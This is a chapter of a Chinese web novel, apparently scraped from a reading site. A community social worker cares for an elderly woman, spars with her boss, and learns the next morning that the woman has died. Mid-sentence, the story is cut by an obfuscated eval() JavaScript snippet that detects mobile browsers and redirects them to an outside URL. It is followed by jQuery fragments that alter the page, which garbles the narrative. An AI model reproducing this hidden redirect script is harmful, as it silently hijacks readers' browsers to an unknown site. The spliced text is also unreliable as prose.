默认冷灰
24号文字
方正启体

1. 粉红小电动

作者:一打包子本书字数:K更新时间:
    第①章


    “行了,你们都别围着了好不好,刘奶奶就是普通感冒,瞅瞅你们这一脸凝重样给谁看啊,闲的是吗?”


    姜瑶扒拉开围在床边的人,给刘奶奶的额头敷上一块热毛巾。


    床依旧被围得密不透风。


    大儿子端着杯热水,二女儿举着手机,小孙子捏着个电子体温计,对着光研究半天,也没看出个所以然。


    刘奶奶本人呢,缩在被子里,只露一双眼睛,看看这个,又瞅瞅那个,有点懵。


    姜瑶把热毛巾边角按按平,叹了口气。


    她,勉勉强强上了个专科,一毕业就扎根这片老社区做了社工,工资嘛,饿不死也撑不着。


    好在她物欲约等于零,最大的开销就是给巷口流浪猫流浪狗买火腿肠,其次就是给这些爷爷奶奶跑腿时顺手带点零嘴。


    “王阿姨,”她转向举手机那位,“刘奶奶发烧呢,脸都烧红了,您这美颜滤镜一开,什么都看不出来。”


    举手机的手僵了僵。


    “王叔,水杯放下吧,您都递八回了,刘奶奶不想喝,”她又瞥了眼还在研究体温计的小青年,“还有你,小宇,那是体温计,不是显微镜,琢磨什么呢。”


    围着的人群松动了一点,露出几分讪讪。


    姜瑶趁机挤出点空间,挪到床头,摸摸刘奶奶的手:“刘奶奶,难受不?我带了您爱吃的山楂糕,等会儿退了烧,给您切半块。”


    刘奶奶眼睛弯了弯,被子底下轻轻挠了挠她的手心。


    大儿子清清嗓子,试图找回主场:“小姜啊,我们这不是担心嘛,你年轻,不懂,老人感冒可大可小……”


    “是是是,”姜瑶头也不抬,重新拧了把毛巾,“所以医院去过了,药也开好了,接下来就是好好休息,”她抬眼,扫视一圈,“而不是被一群人围着当猴看。”


    “唉你这孩子怎么说话呢!”有人不满地嘀咕两句,知道她的嘴硬心软,却是不会真的同她较真儿。


    她站起身,双手叉腰,明明个子不高,气势却足:“这样,各位领导,咱们把任务分配一下,王叔,你去把窗户开条缝;王阿姨,厨房有粥,去热一小碗晾着;小宇,别研究显微镜了,下楼把我电动车筐里那袋山楂糕拿上来。”


    她语气太理所当然,一群人愣了两秒,竟真的开始动起来。


    房间顿时宽敞不少,空气也开始流动。


    姜瑶在床边的旧藤椅上坐下,这才从帆布包里掏出个小本本和笔,唰唰唰不停地写。


    刘奶奶缓过点劲,小声问:“丫头,写啥呢?”


    “记账呀,”姜瑶理直气壮,“体温计是我新买的,毛巾是我贡献的,跑腿费就算了,但山楂糕可得算上。等您好了,得让隔壁李爷爷请我吃顿麻辣烫,”她冲奶奶眨眨眼,“特辣的那种。”


    姜瑶心里清楚,刘奶奶丈夫走得早,这么多年一直是隔壁李爷爷默默帮衬。


    两位老人都有儿女的,却觉着一把年纪谈恋爱丢人,硬是拦着瞒着,不让两人见面。


    半年前李爷爷下楼摔了一跤,伤一直没好,儿女给买了轮椅,请了保姆,两人就更是连面都见不上了。


    也就她敢顶着闲话,隔三差五推着李爷爷遛弯,悄悄约上刘奶奶,让两个老人能说上几句话。


    窗外的麻雀叽叽喳喳,屋里粥香隐隐飘来,床上的老人慢慢闭上眼睛休息。


    姜瑶合上本子,托着腮,看着终于安静下来的房间,嘴角弯起一个满意的弧度。


    ~


    姜瑶骑着她那辆颜色快褪成粉白渐变的小电动,慢悠悠晃回社区服务站门口,正好撞见窦主任拎着个鼓鼓囊囊的公文包,脚步匆匆地往外走。


    窦主任五十来岁,身材微胖,最引人注目的,是他在午后阳光下格外锃亮的头顶。


    聪明绝顶,他自个儿常这么调侃,但谁要敢附和,他抬眼就能把人给剐了。


    他今天照旧穿着件略显紧绷的POLO衫,头皮在稀疏的几缕“地方支援中央”的发丝间,反射着油亮亮的光。


    “哟,窦主任!”姜瑶捏住刹车,单脚撑地,“这才几点就翘班啊?也不说给基层下属打个样,树立一下爱岗敬业的标杆?”


    “你!”窦主任的脚步刹住,脸色以肉眼可见的速度沉了下来,连带着头顶反光的区域都跟着暗了暗。


    姜瑶忙捂住嘴:“哎呦,您瞧我这嘴快的,怎么就说出来了,关键您这头顶反光板一开,目标太明显,我想假装没看见都不行啊。”


    窦主任差点要跳起来,他最烦姜瑶这副嬉皮笑脸没大没小的样子,更烦她哪壶不开提哪壶。


    虽然秃头是事实,但被这丫头片子大庭广众下点出来,还跟翘班挂钩,简直火上浇油。


    “姜瑶!”他声音提了一个调,POLO衫的领口更紧绷,“我这是去街道办开紧急会议!还有,跟你强调过多少遍,电动车必须停到指定区域!你看看你这车,颜色……颜色就不说了,停得歪七扭八,像什么样子!车筐里又是什么乱七八糟的?”


    “哦,刘奶奶吃剩的山楂糕,我帮她处理一下。”姜瑶拎出车筐里的塑料袋。


    “她家那演出队散了,我收拾收拾现场。”


    她麻利地下车,完全没被窦主任的气压影响。


    一个月那点工资,也就比低保线高那么一丢丢,就这,她还能惯着谁啊?


    窦主任被她那句“演出队”噎得一顿,头顶更亮,强压着火气:“注意你的措辞!还有,上周交代的流动人口台账,明天一早我必须看到完整版放在我桌上!”


    “放心啦窦主任,耽误不了您明天的批阅,”姜瑶拖长声音,推着她的小粉就往里走,“您赶紧去开会吧,街道办领导该等急了,需要我借您顶帽子不?太阳挺晒的,保护一下……嗯,皮肤。”


    “你……!”窦主任后面的话被姜瑶关门的动作隔在外面,只能对着社区服务站的老旧玻璃门,瞪一眼自己隐约反光的倒影,憋着一肚子火,蹬蹬蹬地走了。


    姜瑶推开办公室的门,熟悉的闷热和纸张味涌来。


    同事醋言依然埋在她的考公书山里。


    “小醋同志!”姜瑶把山楂糕袋子放下,凑到醋言桌边,“快,吃口山楂糕压压惊,我刚又给窦主任的头顶抛光了,估计他这会儿得找地方降温,一时半会不会回来。”


    醋言从书堆里抬起头,无奈地笑笑:“瑶瑶,你就别总招惹窦主任了,我都替你捏把汗,他到底是领导。”


    “领导咋啦?领导就更该经得起调侃,体现风度嘛,”姜瑶瘫回自己的椅子,长长舒了一口气,“再说了,我这叫活跃办公室气氛,帮他提前适应退休后的广场舞交际圈,哎,你说窦主任跳广场舞,是不是得戴个帽子?不然灯光一照,多影响队友


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214372|197445||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    发挥啊。”


    醋言被她的脑回路逗得直摇头,接过山楂糕:“刘奶奶没事吧?”


    “没事,好着呢,还是我们小醋好,温柔善良知道关心人。”


    姜瑶翻开厚厚的台账,写了几笔就不耐烦,又摸出记账的小本本,在刘奶奶家条目下添上一笔。


    麻辣烫一顿,债务方:李爷爷代。


    窗外传来隐约的蝉鸣,醋言继续啃她的行测题,姜瑶对着台账开始勾勾画画,嘴里哼着跑调的歌,心里盘算着晚上是点麻辣烫里的豆皮还是金针菇。


    第二天早上,天刚蒙蒙亮,姜瑶就被手机一连串的震动吵醒。


    迷糊中抓过来一看,是社区工作群,消息刷得飞快。


    她眯着眼,划开屏幕,彻底醒了。


    “刘淑芳老人于今日凌晨,安详离世,家属已在处理后事,社区人员请酌情关怀。”


    安详离世?刘奶奶?昨天还对她眨眼睛,偷偷挠她手心的刘奶奶?


    姜瑶坐在床沿,握着手机,屏幕的光映着她的脸,不知道该是什么表情。


    她骑上粉色小电动去社区时,感觉车把格外沉。


    巷子还是那个巷子,晨练的老头老太太依旧打着太极。


    刘奶奶家门口聚集了些人,低低的说话声,偶尔几声压抑的抽泣。


    门敞开着,里面传来做法事的诵经声,檀香的味道飘出来。


    姜瑶抬眼看进去,昨天留下的半块山楂糕还在,孤零零地搁在那里,没动过。


    灵堂设好了,刘奶奶的遗像挂在正中,慈祥地笑着。


    棺材停在一边,盖着,她已经进去了。


    姜瑶站在门口,有点迈不动脚。


    这时,隔壁的防盗门打开,李爷爷被保姆推着出来,此刻,没有人会拦着他,他被推到棺材前,离得很近很近。


    老人瘦削的手颤抖着抬起来,摸了摸冰冷的棺木。


    泪水憋在眼眶里,肩膀开始剧烈地抖动。


    保姆低声劝着,想把轮椅拉开些。


    李爷爷摆摆手,自己用袖子抹了把脸,转动轮椅。


    一转头,看见门口呆立着的姜瑶。


    老人眼睛通红,眼泪还没干,但看到姜瑶,悲怆的神情里硬是挤出一点温和。


    他示意推轮椅的人停下,朝姜瑶招招手。


    姜瑶走过去,蹲在李爷爷轮椅边,喉咙发紧:“李爷爷……”


    李爷爷用手拍拍姜瑶的手背:“小姜啊……你来啦。”


    “你刘奶奶……昨天还念叨,”他哽咽着,每个字都说得很费力,“她说……欠小姜一顿麻辣烫。”


    姜瑶鼻子一酸,眼前瞬间模糊。


    “等事情办完,”老人继续说着,“回来……再请你吧,这会儿……是没时间了。”


    姜瑶蹲在原地,用袖子擦擦眼泪。


    回到社区办公室,窦主任已经在了,刚刚撂下电话。


    看到姜瑶进来,对她点点头,没像往常一见她就挑刺,醋言也走进来,眼睛红红的,默默递给姜瑶一杯豆浆。


    姜瑶坐到自己的位子上,打开随身的小本本,翻到刘奶奶家一页,拿起笔,在原来的字上面,很重地划了两道横线。


    她拧开醋言给的豆浆,吸溜一大口推到一边,她还有台账要写,还有人口普查没跑完,有些人停在原地不走了,但她的日子还要继续。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)